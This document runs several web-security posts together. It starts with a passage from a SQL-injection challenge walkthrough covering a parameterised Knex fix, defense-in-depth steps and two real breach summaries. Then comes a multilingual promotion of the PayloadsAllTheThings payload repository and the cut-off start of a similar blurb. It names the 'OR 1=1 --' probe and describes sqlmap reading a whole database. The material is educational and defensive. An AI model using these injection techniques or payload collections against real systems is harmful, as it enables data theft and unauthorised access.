knex('posts as p') .join('users as u', 'p.user_id', 'u.id') .where((b) => { b.where('p.is_private', false); if (uid) b.orWhere('p.user_id', uid); }) .whereRaw(`to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)`, [query]) .orderByRaw(`ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC`, [query]) .limit(50) .select('p.*', 'u.username as author_username'); Defense-in-depth (do these too): 1. Use a least-privilege database role. Don't connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do. 2. Enforce privacy in the database with PostgreSQL Row-Level Security on posts, so a single buggy query can't return someone else's private rows. 3. Ban template literals in raw SQL with a lint or SAST rule, e.g. a custom Semgrep rule matching ` knex.raw(...${$X}...) and whereRaw(...${$X}...) ` in CI. In the video, Semgrep's default rules didn't flag this one, so you'd need a custom rule. 4. Cap the length of q and reject control characters. It's cheap, and it shrinks what any future bug can do. 5. Keep database errors generic (already done here), and alert on SQL syntax errors in the logs. The failed OR 1=1 -- attempts are a loud signal. --- 🌍 Real-world examples - Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025-25257) (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query ("... where token='%s'") with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger's double insertion, the obvious payloads didn't work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution. - Bypassing airport security via SQL injection (Ian Carroll & Sam Curry). A single ' in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It's a different query, with the same root cause: user input pasted into a SQL string. 📚 More resources - OWASP SQL Injection Prevention Cheat Sheet - OWASP Query Parameterization Cheat Sheet - Knex: raw queries & bindings - PostgreSQL: Row Security Policies - sqlmap and its usage wiki - PortSwigger Web Security Academy: SQL injection and Blind SQL injection --- 🎯 Takeaway A query builder doesn't make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that every value in them is a binding. And when an injection "only errors", don't call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload. --- 🔔 What's next Challenge #8: Employee Directory is live now. Can you find the bug before the solution drops? 👉 github.com/mohamed-osama-aboelkheir/the-secure-co… New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs. If you found the bug yourself, or took a different route to it, tell me in the comments 👇
Payloads All The Things Struggling with web application security testing? Payloads All The Things is an open-source resource that lists useful payloads and bypasses for penetration testing. It has over 81.8K stars on GitHub, making it a popular choice for tools to streamline your security assessments. #websecurity #pentest #cybersecurity #bugbounty #opensource Follow for more AI, automation, and open-source tools you can actually use. Link: swisskyrepo/payloadsallthethings [ar] كل ما يخص حمولات الاختبار البرمجية هل تواجه صعوبة في اختبار أمان تطبيقات الويب؟ Payloads All The Things هو مصدر مفتوح المصدر يُدرج حمولات وثغرات مفيدة لاختبار الاختراق. حاز على أكثر من 81.8 ألف نجمة على GitHub، مما يجعله خيارًا شائعًا لأدوات تُسهّل عمليات تقييم الأمان. #أمان_الويب #اختبار_الاختراق #الأمن_السيبراني #مكافآت_الثغرات #مفتوح_المصدر تابعنا للمزيد من أدوات الذكاء الاصطناعي والأتمتة والمصادر المفتوحة التي يمكنك استخدامها فعليًا. الرابط: swisskyrepo/payloadsallthethings [bn] পেলোডস অল দ্য থিংস ওয়েব অ্যাপ্লিকেশন নিরাপত্তা পরীক্ষা করতে হিমশিম খাচ্ছেন? Payloads All The Things হলো একটি ওপেন-সোর্স রিসোর্স, যেখানে পেনিট্রেশন টেস্টিংয়ের জন্য দরকারি পেলোড এবং বাইপাসের তালিকা দেওয়া আছে। গিটহাবে এর ৮১.৮ হাজারের বেশি স্টার রয়েছে, যা আপনার নিরাপত্তা মূল্যায়নকে সহজ করার জন্য এটিকে একটি জনপ্রিয় টুল হিসেবে প্রতিষ্ঠিত করেছে। #websecurity #pentest #cybersecurity #bugbounty #opensource আরও AI, অটোমেশন এবং ওপেন-সোর্স টুলের জন্য ফলো করুন যা আপনি সত্যিই ব্যবহার করতে পারবেন। লিঙ্ক: swisskyrepo/payloadsallthethings [de-DE] Nutzlasten Alle Dinge Haben Sie Probleme mit Sicherheitstests für Webanwendungen? Payloads All The Things ist eine Open-Source-Ressource mit nützlichen Payloads und Bypass-Methoden für Penetrationstests. Mit über 81.800 Sternen auf GitHub ist sie eine beliebte Wahl für Tools, die Ihre Sicherheitsbewertungen optimieren. #Websicherheit #Penetrationstest #Cybersicherheit #BugBounty #OpenSource Folgen Sie uns für weitere KI-, Automatisierungs- und Open-Source-Tools, die Sie tatsächlich nutzen können. Link: swisskyrepo/payloadsallthethings [es-US] Payloads All The Things ¿Tienes problemas con las pruebas de seguridad de aplicaciones web? Payloads All The Things es un recurso de código abierto que enumera payloads y evasiones útiles para pruebas de penetración. Cuenta con más de 81.800 estrellas en GitHub, lo que la convierte en una opción popular para optimizar tus evaluaciones de seguridad. #seguridadweb #pentest #ciberseguridad #bugbounty #códigoabierto Síguenos para descubrir más herramientas de IA, automatización y código abierto que puedes usar. Enlace: swisskyrepo/payloadsallthethings [fr-FR] Payloads All The Things Vous rencontrez des difficultés avec les tests de sécurité des applications web ? Payloads All The Things est une ressource open source qui répertorie des payloads et des techniques de contournement utiles pour les tests d'intrusion. Avec plus de 81 800 étoiles sur GitHub, c'est un outil populaire pour simplifier vos évaluations de sécurité. #websecurity #pentest #cybersecurity #bugbounty #opensource Suivez-nous pour découvrir d'autres outils d'IA, d'automatisation et open source vraiment utiles. Lien : swisskyrepo/payloadsallthethings [hi] Payloads All The Things वेब एप्लिकेशन सुरक्षा परीक्षण में कठिनाई हो रही है? Payloads All The Things एक ओपन-सोर्स संसाधन है जो पेनिट्रेशन टेस्टिंग के लिए उपयोगी पेलोड और बाईपास की सूची देता है। GitHub पर इसके 81.8K से अधिक स्टार हैं, जो इसे सुरक्षा आकलन को सुव्यवस्थित करने वाले उपकरणों में एक लोकप्रिय विकल्प बनाते हैं। #वेबसुरक्षा #पेनटेस्ट #साइबरसुरक्षा #बगबाउंटी #ओपनसोर्स अधिक उपयोगी AI, ऑटोमेशन और ओपन-सोर्स टूल के लिए फॉलो करें। लिंक: swisskyrepo/payloadsallthethings [id] Payloads All The Things Kesulitan dalam pengujian keamanan aplikasi web? Payloads All The Things adalah sumber daya open-source yang mencantumkan payload dan bypass yang berguna untuk pengujian penetrasi. Sumber daya ini memiliki lebih dari 81,8 ribu bintang di GitHub, menjadikannya pilihan populer untuk alat-alat yang dapat menyederhanakan penilaian keamanan Anda. #websecurity #pentest #cybersecurity #bugbounty #opensource Ikuti untuk mendapatkan lebih banyak alat AI, otomatisasi, dan open-source yang benar-benar dapat Anda gunakan. Tautan: swisskyrepo/payloadsallthethings [it] Payloads All The Things Hai difficoltà con i test di sicurezza delle applicazioni web? Payloads All The Things è una risorsa open source che elenca payload e bypass utili per i penetration test. Con oltre 81.800 stelle su GitHub, è uno strumento molto apprezzato per semplificare le valutazioni di sicurezza. #websecurity #pentest #cybersecurity #bugbounty #opensource Seguici per scoprire altri strumenti di intelligenza artificiale, automazione e open source che puoi effettivamente utilizzare. Link: swisskyrepo/payloadsallthethings [iw] Payloads All The Things מתקשים בבדיקות אבטחה של יישומי אינטרנט? Payloads All The Things הוא משאב קוד פתוח המפרט מטענים ומעקפים שימושיים לבדיקות חדירה. יש לו מעל 81.8 אלף כוכבים ב-GitHub, מה שהופך אותו לבחירה פופולרית עבור כלים לייעול הערכות האבטחה שלך. #אבטחת_אינטרנט #בדיקת_חדירה #אבטחת_סייבר #באגים_באג #קוד_פתוח עקבו אחרינו לעוד כלים של בינה מלאכותית, אוטומציה וקוד פתוח שתוכלו להשתמש בהם בפועל. קישור: swisskyrepo/payloadsallthethings [ja] Payloads All The Things Webアプリケーションのセキュリティテストでお困りですか?Payloads All The Thingsは、ペネトレーションテストに役立つペイロードやバイパスをリストアップしたオープンソースのリソースです。GitHubで81,800以上のスターを獲得しており、セキュリティ評価を効率化するツールとして人気を集めています。 #websecurity #pentest #cybersecurity #bugbounty #opensource AI、自動化、そして実際に使えるオープンソースツールをもっと知りたい方は、ぜひフォローしてください。 リンク: swisskyrepo/payloadsallthethings [ko] 페이로드 모든 것 웹 애플리케이션 보안 테스트에 어려움을 겪고 계신가요? Payloads All The Things는 침투 테스트에 유용한 페이로드와 우회 방법을 제공하는 오픈 소스 리소스입니다. GitHub에서 81,800개 이상의 별을 획득하며 보안 평가 프로세스를 간소화하는 데 널리 사용되고 있습니다. #웹보안 #침투테스트 #사이버보안 #버그바운티 #오픈소스 더 많은 AI, 자동화 및 실제로 사용할 수 있는 오픈 소스 도구를 보려면 팔로우하세요. 링크: swisskyrepo/payloadsallthethings [ml] Payloads All The Things വെബ് ആപ്ലിക്കേഷൻ സുരക്ഷാ പരിശോധനയിൽ ബുദ്ധിമുട്ടുന്നുണ്ടോ? പേലോഡുകൾ ഓൾ ദി തിംഗ്സ് എന്നത് പെനട്രേഷൻ ടെസ്റ്റിംഗിനായി ഉപയോഗപ്രദമായ പേലോഡുകളും ബൈപാസുകളും പട്ടികപ്പെടുത്തുന്ന ഒരു ഓപ്പൺ സോഴ്സ് റിസോഴ്സാണ്. ഇതിന് GitHub-ൽ 81.8K-ലധികം നക്ഷത്രങ്ങളുണ്ട്, ഇത് നിങ്ങളുടെ സുരക്ഷാ വിലയിരുത്തലുകൾ കാര്യക്ഷമമാക്കുന്നതിനുള്ള ഉപകരണങ്ങൾക്കുള്ള ഒരു ജനപ്രിയ തിരഞ്ഞെടുപ്പാക്കി മാറ്റുന്നു. #websecurity #pentest #cybersecurity #bugbounty #opensource നിങ്ങൾക്ക് യഥാർത്ഥത്തിൽ ഉപയോഗിക്കാൻ കഴിയുന്ന കൂടുതൽ AI, ഓട്ടോമേഷൻ, ഓപ്പൺ സോഴ്സ് ഉപകരണങ്ങൾക്കായി പിന്തുടരുക. ലിങ്ക്: swisskyrepo/payloadsallthethings [nl-NL] Payloads All The Things Heeft u moeite met het testen van de beveiliging van webapplicaties? Payloads All The Things is een open-source tool die handige payloads en bypasses voor penetratietesten bevat. Met meer dan 81.800 sterren op GitHub is het een populaire keuze voor tools die uw beveiligingsbeoordelingen stroomlijnen. #websecurity #pentest #cybersecurity #bugbounty #opensource Volg ons voor meer AI, automatisering en open-source tools die u daadwerkelijk kunt gebruiken. Link: swisskyrepo/payloadsallthethings [pa] ਪੇਲੋਡਜ਼ ਆਲ ਦਿ ਥਿੰਗਜ਼ ਕੀ ਤੁਸੀਂ ਵੈੱਬ ਐਪਲੀਕੇਸ਼ਨ ਸੁਰੱਖਿਆ ਟੈਸਟਿੰਗ ਨਾਲ ਜੂਝ ਰਹੇ ਹੋ? ਪੇਲੋਡਸ ਆਲ ਦ ਥਿੰਗਸ ਇੱਕ ਓਪਨ-ਸੋਰਸ ਸਰੋਤ ਹੈ ਜੋ ਪੈਨੇਟ੍ਰੇਸ਼ਨ ਟੈਸਟਿੰਗ ਲਈ ਉਪਯੋਗੀ ਪੇਲੋਡਸ ਅਤੇ ਬਾਈਪਾਸ ਨੂੰ ਸੂਚੀਬੱਧ ਕਰਦਾ ਹੈ। ਇਸ ਵਿੱਚ GitHub 'ਤੇ 81.8K ਤੋਂ ਵੱਧ ਸਟਾਰ ਹਨ, ਜੋ ਇਸਨੂੰ ਤੁਹਾਡੇ ਸੁਰੱਖਿਆ ਮੁਲਾਂਕਣਾਂ ਨੂੰ ਸੁਚਾਰੂ ਬਣਾਉਣ ਲਈ ਟੂਲਸ ਲਈ ਇੱਕ ਪ੍ਰਸਿੱਧ ਵਿਕਲਪ ਬਣਾਉਂਦੇ ਹਨ। #websecurity #pentest #cybersecurity #bugbounty #opensource ਹੋਰ AI, ਆਟੋਮੇਸ਼ਨ, ਅਤੇ ਓਪਨ-ਸੋਰਸ ਟੂਲਸ ਲਈ ਫਾਲੋ ਕਰੋ ਜੋ ਤੁਸੀਂ ਅਸਲ ਵਿੱਚ ਵਰਤ ਸਕਦੇ ਹੋ। ਲਿੰਕ: swisskyrepo/payloadsallthethings [pl] Payloads All The Things Masz problemy z testowaniem bezpieczeństwa aplikacji internetowych? Payloads All The Things to źródło open source, które zawiera listę przydatnych ładunków i obejść do testów penetracyjnych. Ma ponad 81,8 tys. gwiazdek na GitHubie, co czyni je popularnym wyborem wśród narzędzi usprawniających ocenę bezpieczeństwa. #bezpieczeństwointernetowe #testypentestowe #cyberbezpieczeństwo #bugbounty #opensource Obserwuj, aby dowiedzieć się więcej o sztucznej inteligencji, automatyzacji i narzędziach open source, z których możesz skorzystać. Link: swisskyrepo/payloadsallthethings [pt-BR] Payloads All The Things Com dificuldades para testar a segurança de aplicações web? O Payloads All The Things é um recurso de código aberto que lista payloads e métodos de bypass úteis para testes de penetração. Com mais de 81,8 mil estrelas no GitHub, é uma ferramenta popular para otimizar suas avaliações de segurança. #websecurity #pentest #cybersecurity #bugbounty #opensource Siga para mais ferramentas de IA, automação e código aberto que você pode usar na prática. Link: swisskyrepo/payloadsallthethings [ru] Payloads All The Things Испытываете трудности с тестированием безопасности веб-приложений? Payloads All The Things — это ресурс с открытым исходным кодом, содержащий список полезных нагрузок и способов обхода защиты для тестирования на проникновение. Он имеет более 81,8 тыс. звезд на GitHub, что делает его популярным инструментом для оптимизации оценки безопасности. #веббезопасность #тестированиенапроникновение #кибербезопасность #багбаунти #открытыйисходныйкод Подписывайтесь, чтобы получать больше информации об ИИ, автоматизации и инструментах с открытым исходным кодом, которые вы действительно можете использовать. Ссылка: swisskyrepo/payloadsallthethings [ta] Payloads All The Things வலைப் பயன்பாட்டுப் பாதுகாப்புச் சோதனையில் சிரமப்படுகிறீர்களா? பேலோட்ஸ் ஆல் தி திங்ஸ் (Payloads All The Things) என்பது ஊடுருவல் சோதனைக்கான பயனுள்ள பேலோட்கள் மற்றும் பைபாஸ்களைப் பட்டியலிடும் ஒரு திறந்த மூல வளமாகும். இது கிட்ஹப்பில் 81.8K-க்கும் அதிகமான ஸ்டார்களைப் பெற்றுள்ளது, இது உங்கள் பாதுகாப்பு மதிப்பீடுகளை நெறிப்படுத்த உதவும் கருவிகளில் ஒரு பிரபலமான தேர்வாக அமைகிறது. #வலைபாதுகாப்பு #ஊடுருவல்சோதனை #சைபர்பாதுகாப்பு #பக்பவுண்டி #திறந்தமூலம் நீங்கள் உண்மையில் பயன்படுத்தக்கூடிய மேலும் பல AI, ஆட்டோமேஷன் மற்றும் திறந்த மூலக் கருவிகளுக்குப் பின்தொடரவும். இணைப்பு: swisskyrepo/payloadsallthethings [te] Payloads All The Things వెబ్ అప్లికేషన్ సెక్యూరిటీ టెస్టింగ్తో ఇబ్బంది పడుతున్నారా? Payloads All The Things అనేది పెనెట్రేషన్ టెస్టింగ్ కోసం ఉపయోగపడే పేలోడ్లు మరియు బైపాస్లను జాబితా చేసే ఒక ఓపెన్-సోర్స్ వనరు. GitHubలో దీనికి 81.8K కంటే ఎక్కువ స్టార్స్ ఉన్నాయి, అందువల్ల మీ సెక్యూరిటీ అసెస్మెంట్లను సులభతరం చేసే సాధనాలలో ఇది ఒక ప్రముఖ ఎంపికగా నిలిచింది. #వెబ్సెక్యూరిటీ #పెంటెస్ట్ #సైబర్సెక్యూరిటీ #బగ్బౌంటీ #ఓపెన్సోర్స్ మీరు నిజంగా ఉపయోగించగల మరిన్ని AI, ఆటోమేషన్ మరియు ఓపెన్-సోర్స్ సాధనాల కోసం ఫాలో అవ్వండి. లింక్: swisskyrepo/payloadsallthethings [uk] Payloads All The Things Маєте труднощі з тестуванням безпеки веб-застосунків? Payloads All The Things – це ресурс з відкритим кодом, який містить корисні корисні навантаження та способи обходу для тестування на проникнення. Він має понад 81,8 тисяч зірок на GitHub, що робить його популярним вибором для інструментів для оптимізації оцінки безпеки. #веббезпека #пентест #кібербезпека #bugbounty #відкритийкод Підпишіться, щоб дізнатися більше про інструменти штучного інтелекту, автоматизації та відкритого коду, які ви можете використовувати. Посилання: swisskyrepo/payloadsallthethings
Ready payloads for each attack in one place swisskyrepo/PayloadsAllTheThings PayloadsAllTheThings is a huge collection from swisskyrepo with ready-made payloads and workarounds for every type of vulnerability: from SQL injection and XSS to deserialization, API key leaks and command inject